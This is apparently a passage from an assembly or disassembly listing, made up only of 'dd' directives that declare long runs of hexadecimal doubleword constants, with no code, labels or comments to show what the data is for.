		dd 0EE6E437Eh, 0BFC1C5E2h, 55AFF8D4h, 0B7E2657Eh, 0A422E0F3h
		dd 79D18D9Ch, 0FA83D02Dh, 0A51066BCh, 441309EAh, 1BCC7C55h
		dd 0FA173013h, 775C6185h, 33A711Eh, 285CE6h, 243B16CDh
		dd 0C3CEA9CCh, 0EA687055h, 385911F2h, 0D985F6FCh, 0BBAD0087h
		dd 0BDBDC907h, 0B187B260h, 6CDAA32Eh, 73D5D546h, 0D3807504h
		dd 4E628716h, 813E8BC0h, 7EDF84B9h, 0D0AE71E3h,	9685E49Ch
		dd 0C2875F11h, 4CCE8606h, 5D0650F4h, 5EA9C54h, 9C595385h
		dd 30E1ED89h, 99853B6Eh, 1CA403B4h, 0DF40996Eh,	0E62049F8h
		dd 5871DE22h, 0F8B5E5DCh, 5E27210Bh, 250C4033h,	0D07DD5FCh
		dd 67F7CF7Ch, 19E19F96h, 339A16E0h, 0CE6D4441h,	0A620935Ch
		dd 965A9D3Bh, 4309B4BCh, 0CE95452h, 8690CAEEh, 8EE8533Ch
		dd 6E6C1066h, 9835ECE5h, 7A704C2h, 3306034Dh, 8A24D732h
		dd 0A421FF99h, 0EF721C29h, 0ABC9F835h, 80D3D139h, 4372A2BAh
		dd 64636602h, 3AB500B6h, 3385B34h, 30F6F5C5h, 709342F4h
		dd 2C016826h, 78209DB9h, 0DBE63506h, 156F5885h,	0AFD73FF0h
		dd 0AA84504Ah, 82540A74h, 6CD93624h, 44D7B461h,	9F47841Ah
		dd 52E43767h, 5F86BBC9h, 4DE5D9CEh, 5FCF2871h, 67F53183h
		dd 0A740A0Ah, 43C59890h, 46A81BD0h, 9E9162ADh, 0A5CAC076h
		dd 356F0E23h, 4F3010C4h, 5D07DD98h, 5ACC0578h, 38587B96h
		dd 2233030Bh, 0B626AED8h, 69F17243h, 195633ECh,	0A9F97D9Ah
		dd 0DFB18BACh, 7EAE88FBh, 451FB119h, 823E5B79h,	308BE17h
		dd 0AE9EB76Fh, 4CAEC2EDh, 5D30F812h, 9A4A7930h,	40C9BBC4h
		dd 0F412BBD6h, 22C081D7h, 0E96F7635h, 432AE841h, 60AA0826h
		dd 8593EA13h, 397F6FD3h, 0F2CCB5FBh, 0AD8B2801h, 5FD9C075h
		dd 5A87CFDCh, 0ABAD0990h, 4E71ADE4h, 5EBF6B53h,	5F7CEA07h
		dd 61AA99AFh, 0A41D2A9Fh, 0F418445h, 0DC38358Bh, 34589D9Eh
		dd 0F0F322B3h, 0EA4C0CE8h, 3F426D81h, 6500CD26h, 2823E50Dh
		dd 616B02Ah, 8E809E5Ah,	331FCD0Ah, 3851A207h, 0C3E2A65h
		dd 98FE84B9h, 0B20A7AD9h, 3CF0FB11h, 0CA7DB712h, 0EFA0F3E3h
		dd 101ED2A9h, 0A0587C67h, 0D62C3697h, 0BC43A856h, 19C51782h
		dd 2E83EDE8h, 568F7D0Fh, 0E7419C6Eh, 0BA77AFA8h, 78D3F8D4h
		dd 80C7AC61h, 0E8959A1Fh, 61377419h, 5FA17D2h, 0F76899E8h
		dd 0EDFC37BCh, 3F69C32Dh, 43799359h, 0CDB302E1h, 33ECC625h
		dd 6413A59Ch, 7C7E5402h, 2BFE5D06h, 0C55FB9E5h,	57EECEEh
		dd 45D3993Bh, 0B33CE2A6h, 73DAE99Ah, 0D2EBC9B4h, 984DA5EFh
		dd 0A02D550Dh, 7383B72Fh, 2A1C4858h, 576A7324h,	1677AD70h
		dd 0BDF9EABFh, 0EDE55A74h
		dd 0C5E08E15h, 31C2BD89h, 1B4633F3h, 18DBDD48h,	0A58C6EDDh
		dd 0D37861EEh, 6A500C31h, 0ECBA3EFCh, 586E34F8h, 86D52502h
		dd 1A42526h, 41D37BE5h,	520A3BDFh, 4391F629h, 0F130BB35h
		dd 59690FDBh, 0D06DC5A2h, 6B72DC21h, 40B46F9Ch,	965BE85Ah
		dd 61437060h, 0DBCA9CB9h, 0D47B03B8h, 374B0F28h, 78399538h
		dd 0CB063DAh, 5E1B22B4h, 30DF11BDh, 92001B88h, 61A6F1D2h
		dd 0D7F2A02Ch, 2AD9E06Ch, 4ECD7B75h, 6140F5AEh,	159308BCh
		dd 0F008EBCEh, 1953F60Ah, 0BFE539C6h, 0CB1C8CD0h, 957CCE81h
		dd 76A4C735h, 0B62DFD9Dh, 9738BCDCh, 0F2107E5Bh, 1D6FE430h
		dd 0C8326C08h, 1B26FE3Dh, 0E50EBB6Fh, 1E5A3495h, 0CE289687h
		dd 0A4420A59h, 4DCB5CE3h, 0F8697E05h, 0F0BB2415h, 0F288C1CBh
		dd 9063F00Bh, 0D4C8A046h, 1FE961E2h, 50510220h,	0BCFEA875h
		dd 0DB37ADB8h, 0D813E4BBh, 338C1ED7h, 2CD2070Dh, 28836D2Fh
		dd 0DDF030A3h, 0FD2D3F9Fh, 901D6E53h, 0E27BE57Bh, 0A9727478h
		dd 8FE95205h, 4D060033h, 95366956h, 0B72BB3A1h,	0C09D51A7h
		dd 0B3EF08ECh, 0DF4FF0B5h, 0DF0C9890h, 0EC8784E8h, 995A56A0h
		dd 17168738h, 0E9B8F223h, 0FA1CC43Ah, 3D6D84E7h, 0CD432B3Bh
		dd 0A025E681h, 6117EA51h, 0D4D57C36h, 22E22EA3h, 33B26F4Ch
		dd 943BB420h, 17F9DBDFh, 17EAC100h, 8E2165DAh, 0E6466CEEh
		dd 1653A17Eh, 5EE1F7E0h, 1EDD7761h, 0FCB3ADA3h,	63F2CE99h
		dd 3BC7E59Dh, 96754FCBh, 9F97F11Fh, 0E4135B96h,	962C99DEh
		dd 0A0DA6CB1h, 0D38D9498h, 8D96D14Dh, 6BA49EE7h, 78D3857Bh
		dd 2D0829FEh, 0B24F370Dh, 0E0BC0C60h, 0EF2FEF40h, 0FB6FCF93h
		dd 0F1E86E27h, 0DBC4DA8Dh, 6249A37Dh, 45346FA2h, 0CD1BE29Ch
		dd 15E96E91h, 18D0CCFAh, 0FA0C083h, 646DFEFh, 3887C67Dh
		dd 43C33E83h, 44FBF228h, 85F72C98h, 527EE66Eh, 8E9DF5EEh
		dd 2B6F142Dh, 14286F14h, 0D4E2856Dh, 1EC6E942h,	8C8188E1h
		dd 0B7F0273Dh, 94E08653h, 2198E11Eh, 67EEE168h,	0CFE5190Ch
		dd 9D9EB188h, 173671EBh, 9E576E28h, 0A9D784BAh,	0F46F129Eh
		dd 0B800DCECh, 7005C468h, 3D676981h, 0B9D06338h, 131CBC95h
		dd 79D9E1BFh, 884CE01Fh, 5A9792F3h, 0B9D19A70h,	83F79C8Ah
		dd 4B9D0A33h, 8C71C428h, 8325E428h, 57104770h, 0E223380Dh
		dd 3782F192h, 516834E1h, 0DC28262Dh, 66CCBDF3h,	0EF09B866h
		dd 27140607h, 1B197843h, 0A8AE1854h, 0FCA90EE6h, 0EB7F2DB2h
		dd 5D3A5919h, 9F4CCE7Bh, 0D5478498h, 0A4D68B4h,	0B9454DB5h
		dd 68770888h, 248A0BDFh, 5F9C1CBCh, 0B3592E55h,	0A1A7173Eh
		dd 8517E2F4h, 3473FF7Fh, 3D60DC7Dh, 10675C27h, 0A0F6F063h
		dd 10BB4421h, 0BA5CB30Dh, 0AFC9DCA3h, 0BABFFF1Dh, 0A4ADDCA3h
		dd 0BF424C52h, 0CE39277Eh, 0E0FE84EEh, 9ED98894h, 137E38D7h
		dd 0A3366D2Eh, 1BCF40ADh, 0A50A5BC4h, 0D361009Bh, 1E9EC0EEh
		dd 38703BFBh, 0A3FE1968h, 7A1B70CFh, 327A98D0h,	55EEC5F6h
		dd 0E5E8A2FCh, 0E2815DCBh, 30F70561h, 94478A05h, 8EB89513h
		dd 234B2098h, 6557461Eh, 0C87AE30Fh, 0AEF99317h, 1A7D0F4Fh
		dd 0FCA38903h, 0FBEB27Dh, 0FFB1D694h, 49DB4F0Bh, 0B2A0F223h
		dd 29428531h, 21E82935h, 0BBCC9711h, 83BCFF5h, 8DB726DAh
		dd 714D5823h, 85D3D5F4h, 11E1AF11h, 9146C43h, 688078EEh
		dd 9346C65Ah, 86268A11h, 0FB1027D8h, 3C7A8F10h,	68252852h
		dd 94C11F29h, 0E8188567h, 1743EE4Bh, 0DFDD1E75h, 0C783C31Ch
		dd 0B48F61Eh, 0CAE3875Bh, 7BDB44AFh, 0DCB9A351h, 18B432AFh
		dd 2B3429F0h, 32F6E760h, 0D95A3F87h, 726D9C46h,	6E9AC54Fh
		dd 6F32D118h, 0CD01C3A8h, 7BF1DB1Dh, 0B89E8C68h, 44E4B82Dh
		dd 5141801Bh, 0BDF26717h, 59259EBDh, 0BDF70BB8h, 0E85DEEACh
		dd 3A778A5Bh, 0F19B233Dh, 0B2FA5DA6h, 21FC020Ch, 0F2139C0Ch
		dd 26BE80D5h, 0E033AF80h, 39EFD82Bh, 88A759BEh,	5200E53Ah
		dd 0BECF15Eh, 94EBF651h, 0DBB291C7h, 794433B3h,	21B4A746h
		dd 7367BB65h, 2907B288h, 154A056h, 9C06ECEAh, 110EAD72h
		dd 42C4E9F7h, 98903A24h, 0D01E2211h, 0B4488989h, 221AD123h
		dd 8389D41Eh, 338809Bh,	9D26CA89h, 1E275BB8h, 5C05E247h
		dd 22123BAEh, 0FB89D4EEh, 890A7890h, 8F8884CFh,	489DC4EAh
		dd 0F89157Ch, 0EB8F8887h, 0FC48CDC4h, 421B1239h, 0E27527C4h
		dd 2076246Ah, 6C4424B1h, 483989D1h, 2D3120F4h, 0CA1CDC44h
		dd 41EF1227h, 0D8885C62h, 121913A6h, 0ACCDA0EFh, 5DB13ACDh
		dd 0D4029E27h, 3C48A9D9h, 0EA76221Eh, 0E242EC4h, 887E6AD1h
		dd 0DC4EB0F8h, 4813C48Dh, 0DC44347Ch, 90DB13A1h, 8A247BF8h
		dd 28576221h, 4FC4489Fh, 10929EC9h, 9F2870F1h, 6DCBC448h
		dd 0FA058E3Dh, 0C80D0EDAh, 1929ADDh, 0DEA7C47Ah, 433A09Bh
		dd 9D1CA2B6h, 5B6D8305h, 9F264CCDh, 0EF66EE80h,	7ED13EDAh
		dd 4C28FDB2h, 40994115h, 7EA70365h, 51912930h, 681D6B9Dh
		dd 72D290BBh, 0CC85DB6Dh, 98E4E287h, 1CAFB145h,	72D25BA5h
		dd 3031FCFBh, 0E1020AE1h, 77CA290Eh, 0B132D4D1h, 0C902C2EDh
		dd 94D26F06h, 177BD03Ch, 7ED89F6Dh, 4A46EA54h, 0E6384BC1h
		dd 6C0F1667h, 3C59985Ah, 667E69B8h, 0D4A6D0F1h,	0EE9B43ACh
		dd 823AD6D8h, 0CD374ADFh, 32DA743Ch, 0C3798049h, 0D20CBD08h
		dd 5A3F80EFh, 5CE6C78Dh, 0EF302FE3h, 0A4208033h, 0EDB5BCEBh
		dd 0F4174E12h, 371B3962h, 81D1CA2Ch, 0DB30D135h, 9D0E4614h
		dd 3F6E584Dh, 1478BDBAh, 29D18F7Fh, 4F0EE59Bh, 97EC16F2h
		dd 66E46A27h, 1A900833h, 866EDA50h, 42FB02B1h, 1CBAEFECh
		dd 0F82DA49Eh, 0DBA9D5C5h, 58A87119h, 77721526h, 485DCD48h
		dd 7EDBA16Ah, 0DB1ED32Eh, 0ADB46BFEh, 5C59E723h, 80C2BD35h
		dd 85F8D591h, 5EEC604Fh, 2CCDB40h, 0D7940582h, 2D365001h
		dd 4DAA6CA8h, 0EC78D473h, 4FB0F21Bh, 94FBC555h,	70DFE2FFh
		dd 678BB7D1h, 0EF32140Dh, 0D4839842h, 0C027C2C8h, 0F67288EAh
		dd 0F6629876h, 0BBD78994h, 0DF61D203h, 91982CC0h, 0C35E23CBh
		dd 47CB4FE7h, 32345C94h, 38150E70h, 72E686DCh, 2E294DA8h
		dd 94F9E3E0h, 1E3C44C6h, 45B71671h, 0C1A5E4F5h,	0C5528510h
		dd 0B151979Fh, 97A5DEC6h, 2781B6D9h, 0D7AF7C0Dh, 241C4AA7h
		dd 0C9D27EC5h, 284E313h, 45B5150Eh, 0C712FE19h,	0CB138B6Fh
		dd 0F8A8C91Fh, 755E1EE9h, 9DDCBE68h, 6BFCD26Bh,	0E635F832h
		dd 0B0783799h, 3A062625h, 0BA7D2D6h, 0E61288BCh, 0EAE80BC1h
		dd 829EE8C0h, 5BF04334h, 9C97A14Fh, 0E6EBF85Dh,	0D1CB9E17h
		dd 5645635Eh, 0C4EE94AFh, 43B0FE2Bh, 7F5586FBh,	0AB311CC1h
		dd 0F16A5E46h, 9FC53442h, 0FECD4BC9h, 0F140A1E2h, 8D4772E0h
		dd 9FE615BFh, 305BDC2Dh, 906C37DEh, 3B46F66Eh, 0E10A0B4h
		dd 1835D2D0h, 82FB9699h, 0B7C5A08Ch, 14454334h,	4ED2770Ah
		dd 60761CA9h, 717FC839h, 9A0F03B9h, 0F25F0995h,	559801CDh
		dd 0E8C7F32Fh, 0ACD8B125h, 4A81727Ch, 6DB13BC2h, 0ADF31A7Dh
		dd 16560CFh, 0D3F9FAC9h, 0A6BB987Eh, 12A0E2BDh,	0E4DDA39Eh
		dd 9CC6CBEEh, 40A6E931h, 32B8C347h, 0AC4BF5C0h,	0E08EA814h
		dd 0D06288B4h, 4DE77DEEh, 0E614B5EDh, 946264CBh, 0DEBB8992h
		dd 0CE58F989h, 42D0795Bh, 6C7AA0Ah, 0E610D435h,	3A1BA6B4h
		dd 834EEF85h, 14B39774h, 207E06FAh, 8AC84F50h, 0EBF6627Ah
		dd 930387Fh, 6E9A2ED7h,	66D51AF1h, 3CED9668h, 5179D35Dh
		dd 8D7DA765h, 18F03321h
		dd 0F9456BFCh, 8F1A392Ah, 22804CD7h, 8DA8CD16h,	9B941053h
		dd 0BE98DBBEh, 1015C9FBh, 766BC46h, 0DA249588h,	9F19A0F0h
		dd 793BAF22h, 0C7534925h, 0E44C06D4h, 0DF5A108Ch, 4A3D0897h
		dd 0C9AD3F95h, 0AA2B56Ch, 0C0370D6Ch, 179A191Ah, 0EA41AF74h
		dd 0DDE99F5Eh, 85E6086Bh, 18E9685Eh, 440AD681h,	0EE46D79Bh
		dd 422ABF47h, 0DFD3B6BCh, 537ED0Ah, 5DBA17B7h, 40E7849Eh
		dd 0E98F7417h, 0B5282835h, 0AAC901A6h, 18DA9DC1h, 48A4862Fh
		dd 7368B21h, 0D6450F4Fh, 0C59155F6h, 313BDBAh, 48D0CD5Bh
		dd 0CBA0FB2Ch, 3459D722h, 4A4D0313h, 2A7494FEh,	45238F0Ch
		dd 55B27E56h, 0FCF162BCh, 71788487h, 9230216Bh,	48D4B4D2h
		dd 0F1F0C429h, 0D0DC58FFh, 1DADF4B2h, 0FCA65E08h, 0DF49EA06h
		dd 0CD3B80C6h, 2FF96E9Dh, 3ADFD576h, 2DC59992h,	5AB66693h
		dd 0E72EBF5Ah, 3BFB71CDh, 55237106h, 0F68063A0h, 0E97BB953h
		dd 0FE39EA85h, 48CAD530h, 3B8F14B0h, 3B8FC67Dh,	0CDEFAB0Dh
		dd 4B38616h, 109DD34Bh,	0F39BEC3Ch, 987D89C1h, 7F677417h
		dd 83E710EBh, 0A4469967h, 0FADD2189h, 0CCAD8800h, 558A91D6h
		dd 69748FB1h, 9037CBD2h, 6C38B303h, 0F2BD5934h,	91CE12A7h
		dd 3239C43Fh, 0F0C3659Dh, 7F26ADC3h, 7E53B0EBh,	24C93513h
		dd 0C4BD7F95h, 68E53F6Bh, 0CF6849FBh, 4A1C42BDh, 80BAE965h
		dd 5A620710h, 5F49B871h, 0E21152B6h, 0CA65CC18h, 8E34488Ch
		dd 0D67F72DBh, 0DF74D207h, 16F1469Dh, 0A7E54DF9h, 661F25F8h
		dd 75C11993h, 14AA8BBEh, 0BCDE563Bh, 0BE1FCAFh,	0B26F1CC8h
		dd 0B1A4DE6Eh, 277AC643h, 61A07AFAh, 0FE7D76B4h, 9ECF1DB4h
		dd 5DB50E2h, 5411FC35h,	6E2861F0h, 0ADC9271h, 0E9A0672h
		dd 78FE00F8h, 0B09FC962h, 0FDB5505Dh, 7006DBE4h, 20696833h
		dd 76ECD93Fh, 0D9E342F4h, 0C7407549h, 13925B24h, 871DB18Ch
		dd 0E7BB648h, 0ABA9082Fh, 0FDCAA8A4h, 7107BE9Eh, 0FE4F7BFCh
		dd 58A66A06h, 0A08EBB7Ch, 76E89EB4h, 883FF67Bh,	3D9FC4AAh
		dd 2017B9BBh, 4EA4E88Dh, 4886248Dh, 95234B2Ch, 7C2A468h
		dd 7BF57143h, 0FAFE4232h, 9A891674h, 74886B3Fh,	3E0D275Ch
		dd 1E6749C0h, 74C749D0h, 0D48D31D2h, 0EBF52215h, 0D23467A4h
		dd 29D221A3h, 91A2D49Dh, 0D3A4421Ah, 46A5693Ah,	0CE910C2Ah
		dd 1A39A4E8h, 52443129h, 48D31274h, 0D2745B03h,	5B852840h
		dd 8860E938h, 9E93A834h, 423B48D4h, 249D21A4h, 9C95A46Ah
		dd 0C36806B4h, 0C4455B40h, 0D8AC4E14h, 76DF2867h, 5696EB18h
		dd 8DB40C40h, 683F0961h, 0A0720519h, 0E5DEDBBCh, 0B847A6D0h
		dd 47016BC2h, 0A58E217Ch, 0FA9B5582h, 0E6CC28D8h, 0FE1130C8h
		dd 0BC5F5B69h, 2F842223h, 89978B1Bh, 0B5B85337h, 5C577BFCh
		dd 8D49FCE4h, 69C11F47h, 0E0C97163h, 4ACF9CB3h,	0FEA7D97Dh
		dd 0AEA71657h, 0CC3F22C0h, 0DC2CC0E2h, 0B7519D4h, 0F1F54F63h
		dd 0BD0629A1h, 0BA3705F4h, 0D302C964h, 0E2659836h, 0B82B80B0h
		dd 725C5605h, 0A104482Dh, 40F75F88h, 0F1C41740h, 11F81CCFh
		dd 17ECC0AEh, 0FA3A054Eh, 16BC51D5h, 4FD95937h,	208F82D7h
		dd 5BEE12E6h, 9E524E6Ah, 8C30D422h, 78218772h, 87E8407Fh
		dd 89025C52h, 0C246BEC1h, 31ED00E6h, 9219BE6Dh,	67279C73h
		dd 945D4816h, 551CD2B7h, 5564F782h, 0C4A5524Ah,	484D3371h
		dd 0AF5D3AFh, 0F1A7119Fh, 155F7EADh, 0D8E1F706h, 0BF686B94h
		dd 5B695A5h, 39BDF28Eh,	51C3498Ah, 54842D11h, 0BAA70891h
		dd 7A25FFDh, 5B439ED1h,	0D0B0E6D4h, 92E7C59Eh, 0D4FD9668h
		dd 0F706CA31h, 250C4E2Dh, 0CB6D66F7h, 0C5C0D922h, 452E3BD8h
		dd 2FB6EC4h, 0F1C59877h, 3A9EE3C8h, 0A2D0F1A3h,	0C0CD13h
		dd 70C19034h, 0E52FA235h, 44E6BECAh, 2CA53654h,	6508CF01h
		dd 0B9CB520Fh, 4CE5B23Eh, 0D207DBD1h, 0DFE14F2Eh, 88522247h
		dd 0B1B4D067h, 1C39731Bh, 0D1B1CB91h, 71F45277h, 0BB1FE8E1h
		dd 84772A09h, 3CB86E57h, 144ED296h, 0F06D57D7h,	0BFDF567Ch
		dd 0C6EF7189h, 0D308345Eh, 579C7889h, 756DB569h, 204F1228h
		dd 0B5219CAAh, 4A14FAC2h, 0C6B8D24Fh, 74B397B4h, 7ACF11C8h
		dd 0AA365D9Ch, 87CEDAE2h, 0FE511CF4h, 0B457CF02h, 5C219C15h
		dd 0ECD208C5h, 0E526C681h, 48D15A03h, 842EEBE0h, 44B48183h
		dd 0DA74CF4Fh, 8D114403h, 0AF22FF28h, 0BB6D7C56h, 6CF6AF91h
		dd 0D290E7A6h, 315F2370h, 621A1EDh, 7883ABBFh, 429E92B0h
		dd 4AAFCA95h, 85E059E2h, 0C3214556h, 2F9D7555h,	0E0550CFBh
		dd 18301454h, 26FA1218h, 0CCE0A134h, 8736D5F1h,	0F9A1C3A7h
		dd 68E18C8Ah, 71861464h, 47A0DC51h, 78514711h, 166B28DAh
		dd 0CCB183C5h, 0CF4B1F1Ah, 0BA2C7A97h, 46111E47h, 1869D4F1h
		dd 8C6B5087h, 0A83F95C5h, 0C464DF0Eh, 24FA65A8h, 2FA4F539h
		dd 16780CDBh, 2C2781DBh, 2D3D9EDCh, 0E9FB5E1h, 0ED06C55h
		dd 6D1E7B76h, 0A7B819A1h, 30BB9F1Dh, 0C8EA3808h, 70EE161h
		dd 91DCAC39h, 771B0E46h, 8E239224h, 48E4CC3Bh, 1C418EE0h
		dd 9225772Eh, 3C125763h, 0A9C968D6h, 65F5EF10h,	65A55253h
		dd 9BC67A1Eh, 499535A9h, 0E385A0B9h, 98662332h,	11EDA21Dh
		dd 0C607DCE9h, 0D71C3BEDh, 0E1C525D1h, 1F8D549Ch, 79F78D01h
		dd 30DE743h, 504E0E40h,	4345193Eh, 0B61BCF69h, 0A4F8777h
		dd 0F142D609h, 50A942E6h, 2EF8B62Eh, 0A64D3524h, 0FBE7C4BDh
		dd 64A8E6Eh, 0B3513D66h, 0BC10D7E0h, 93FD539Dh,	0A6A300CFh
		dd 267E449h, 4EFD00F9h,	7745A4F3h, 3D32D754h, 0A2D449B4h
		dd 83995EBAh, 0A7E4C44Ah, 7E155E14h, 7A622C1h, 1897703Ah
		dd 2E5853EFh, 96B19065h, 7D2C749Bh, 2E687034h, 7E30E898h
		dd 1D69144h, 87C8C9E5h,	0BBEB12Bh, 0ED1713AAh, 168B8DFEh
		dd 0CA9520A0h, 1D2118DFh, 0D96DCFFFh, 0AE266598h, 0B951D395h
		dd 1B306504h, 8ABEAE93h, 19A4BDA7h, 365E7772h, 0B56D7E7Eh
		dd 246A9542h, 0AD00A3F1h, 0FED9FEC3h, 0E9C20C31h, 51B78B84h
		dd 0D13EC799h, 0B27ED65Dh, 0BE009A4Ch, 89A5DF05h, 0CDB7EF2Dh
		dd 0F8C1FE24h, 1B315EB1h, 251819E0h, 0E1D064D1h, 0EFA2D839h
		dd 2AE8EB5Eh, 0CFDB766Fh, 28249EE1h, 3D2A0EBDh,	0F29736F1h
		dd 31D8DE16h, 5CE656ECh, 96F7374Fh, 7820D389h, 0C971CE22h
		dd 2C621DD8h, 0A4D1BE05h, 983D796h, 0FCCC74FEh,	6E5A06F3h
		dd 3EC499D6h, 527EDDD2h, 82A3E09Ah, 0BE898351h,	0A6917A6Ch
		dd 9786753Fh, 3D4E64B8h, 85DA8C19h, 0AD252C58h,	4F702AA2h
		dd 58C3B6F9h, 0AA1DD8Eh, 61FE9173h, 4ECE173Fh, 0EB15EE4Bh
		dd 0BA98F66Ah, 6BD6CC02h, 655EAABDh, 462ADFCAh,	0DDBDDA55h
		dd 14324E71h, 0ECB9BD50h, 11CE94E7h, 8D76DFDAh,	5E947F32h
		dd 1F94A8A6h, 773715A5h, 336D83CAh, 0F03121B1h,	0BE24FDDEh
		dd 335E63F1h, 5F4E5319h, 5696334Bh, 0D4D67E90h,	0A78C7293h
		dd 8FF69933h, 7D0485FBh, 6B85E787h, 43820371h, 0BFCF6A09h
		dd 0E8333C3h, 8995947Dh, 5B57DC71h, 0D4C96AC6h,	0DA722AC3h
		dd 99F49832h, 7955A27Eh, 0C8E6BC0Eh, 5DB867E9h,	37C7620Ch
		dd 3F59D2CEh, 0A443F29Bh, 0C172DB6Bh, 0E1DF580Dh, 170FE524h
		dd 626B0F31h, 4F71DBDBh, 0CA25F55Fh, 135E83D1h,	0B853CFh
		dd 0E420FBA5h, 0CA68ED49h, 9ADE08A5h, 72FCEC3Fh, 0F3DB743Fh
		dd 393BAF27h, 0C8662DDAh, 0F1536D77h, 0D74DA916h, 6C26B565h
		dd 0E343D78Ah, 240E714h, 7157837h, 5A187F5Dh, 85AFA796h
		dd 2D30B8Ch, 8AEEF6F4h
		dd 28825D90h, 159E2F28h, 0BCBD312Ah, 93BCA1Ch, 6B0E78BCh
		dd 110983CFh, 5C7D34C5h, 48246531h, 0E94A879Fh,	5CFF84E1h
		dd 5709754Ah, 0BE47A52Ah, 0B1252A4h, 0F95E3C95h, 84A15D77h
		dd 0AE38C366h, 5F1B8C07h, 0CB63093Eh, 205D9747h, 0D781BEB8h
		dd 61528A51h, 0A7DAB8A1h, 7C8B88C4h, 0EBF144CAh, 60398AE0h
		dd 0C16D61C8h, 890B2ADh, 6A664B72h, 486D4583h, 0A9661B50h
		dd 436A190Dh, 6887F2A1h, 396B82C6h, 48D72615h, 0B3684C57h
		dd 10D8C961h, 0F29E0D4Ah, 890E3F99h, 0B782BF67h, 0B56F057Ch
		dd 0E0DAA561h, 5D8AD051h, 5CC96BF9h, 0D0C62610h, 0BDB47051h
		dd 2BE160D2h, 388ACA5Bh, 4FDA0DC4h, 668B7566h, 0B4682539h
		dd 0E005439Fh, 9BF3405Ah, 9711A4C1h, 34E7F1F2h,	60DE65B0h
		dd 0FCD93569h, 0F962C3E5h, 7A06F42Bh, 12E53CC4h, 76181DEEh
		dd 0F4E4F3ABh, 7655F49Dh, 0C57BA604h, 41262023h, 6EDA4FFCh
		dd 2DD05D8Eh, 4DF85EAEh, 0ED442571h, 63965356h,	34815875h
		dd 0DA461641h, 25DCC616h, 5609F16Eh, 40BC0CB3h,	4CC9EE2Bh
		dd 0B2D7E90h, 4FE3549h,	685153DCh, 94D18256h, 6672508h
		dd 1E2EDF7Eh, 8A49CDC4h, 67BF0E39h, 2262EAD1h, 2C317CDFh
		dd 6B6598E7h, 58559280h, 0BD4DAC02h, 3864379Dh,	8CB6B6CCh
		dd 7C76C66Fh, 0C24D84D7h, 0CA56E83h, 159D9519h,	1899D501h
		dd 0D132ECA3h, 615E8D2Eh, 8C216520h, 86312D22h,	0EDB18BACh
		dd 0E3396868h, 9FF6D8A6h, 1D3E14E0h, 0B7BD6717h, 0C32DCC81h
		dd 67E5381Dh, 1D138B24h, 0CEE8C165h, 82DA1C84h,	656A3301h
		dd 3F82EC7Bh, 0BB68E8Ah, 0ED8CA533h, 7782C36Eh,	1519B9C5h
		dd 0ACE7146h, 6CF37705h, 0D8BEDBEFh, 0B337F5D8h, 5634B3A3h
		dd 9309B31h, 27638BDBh,	0A505911Eh, 143C02D3h, 0F829AF5Fh
		dd 0D985DB72h, 4B0F5452h, 0B9011A0Ah, 67C1B018h, 0B8DC09B7h
		dd 6D99EB47h, 902903ADh, 0D884CE81h, 7B70CB87h,	658A3A5Ch
		dd 135EED8Fh, 0F912732Fh, 0CDC7DF1Dh, 5E057793h, 65EE07FEh
		dd 0CCE27CEEh, 6F43D8E8h, 0DA680FFh, 3FAC5C58h,	0FC54505h
		dd 2460BDBEh, 68671BC3h, 7882F6A7h, 0E787F9A8h,	99FC3083h
		dd 7A412686h, 6965A02Bh, 0E7401028h, 60E07872h,	2E5E6051h
		dd 2872CCE7h, 0C556E81Bh, 0B8F35C64h, 605AD301h, 4129CDEEh
		dd 14ECF65Dh, 32C510FCh, 5F124C6h, 7897893Dh, 4B8D2F12h
		dd 112528E2h, 0B1C703Fh, 645A7125h, 8D827E5Ah, 2F15ABB3h
		dd 0A444375Dh, 64AC8DBCh, 0C7106426h, 0A11FF6D8h, 13E21389h
		dd 0BC5DFEDBh, 0F5BF07D8h, 82B852BDh, 8C4C82F6h, 51A08CD3h
		dd 1E318D50h, 4ADFDE61h, 6B34021Bh, 72B4D8A2h, 9286FECCh
		dd 587202B3h, 23263AD2h, 67827778h, 49A3A60Fh, 40DE074Bh
		dd 74F0CAFh, 5E8833F4h,	0FBC991Dh, 0A224FD11h, 66444305h
		dd 298E98DEh, 0FE4EE649h, 4E11C14Dh, 0FEF8BF16h, 461430CCh
		dd 495A2B5Dh, 94207138h, 0E5D3870Dh, 5DCAAC17h,	130920C4h
		dd 9FC4A1EFh, 67E0A3A0h, 0B859ECE4h, 3AC1B340h,	986781C5h
		dd 0A16B9E9Dh, 9C9D391Dh, 8381D39Bh, 27A9B6Ch, 2E3D2657h
		dd 87A7142Ch, 3E9134CDh, 1070BF1Fh, 0F6D8D247h,	766EB44Bh
		dd 0DE1CAE6h, 0D9FC39FFh, 57216C2Eh, 35499AEAh,	767A8B3Eh
		dd 7B6D6416h, 6179B27Eh, 61658B4Ah, 9F6643E6h, 0B0BDD292h
		dd 0F06BDE12h, 30BDDDDDh, 0F00BDE17h, 0F36E3E7Dh, 3C38B0F5h
		dd 4EC1EA91h, 83212CAAh, 946ED684h, 0F0167864h,	1B286981h
		dd 2BEAEDFAh, 67E27648h, 9DC3A863h, 882754DCh, 85B6E89Ah
		dd 98B6637h, 27B07ADBh,	8A36DE2Dh, 9FA5A8DDh, 67E2910Eh
		dd 9AFF43AAh, 69BF6810h, 0E0D042Eh, 281E8172h, 4E2CA2B6h
		dd 5CC6858Fh, 2A38ED6Ch, 95E554Eh, 1D2947BDh, 2B3338B1h
		dd 8A9A3C8Fh, 0A7F2A5EBh, 2A820810h, 210A697h, 0D9661026h
		dd 9DF52206h, 15FCECB6h, 0A65E64B8h, 7F1ADA1Dh,	184E80D8h
		dd 70389C44h, 7CB650ACh, 8B5EAAA2h, 0FF210076h,	0C190B20Eh
		dd 0D1D09473h, 4835E155h, 6831AF66h, 68C1F3A4h,	6A5E58FCh
		dd 0BEF39656h, 82806307h, 0AD955F37h, 0E7FBD3D1h, 9C5E9829h
		dd 714B3886h, 0FED8C87h, 0DC32A067h, 1FA16BB8h,	0DB0C3137h
		dd 24BACE3Fh, 5E9DE2DEh, 0C06E7F0Ah, 5A6E1F6h, 14A177BEh
		dd 3DC31D7Dh, 2E886688h, 3DF7C5CAh, 0A729AC54h,	0E5CB7BCFh
		dd 17F2B322h, 0C604626Eh, 86342C0Dh, 0A11E2F99h, 1054FD88h
		dd 5B36DB71h, 4DB598A2h, 81CDEA9Ah, 0C35A542Ah,	242C82AAh
		dd 5F1ADF80h, 73FF2312h, 0A1C684B4h, 0FDB31BE5h, 89AFD99Dh
		dd 9314F877h, 9C50AD38h, 4D285854h, 0ED1B7DF9h,	4066F180h
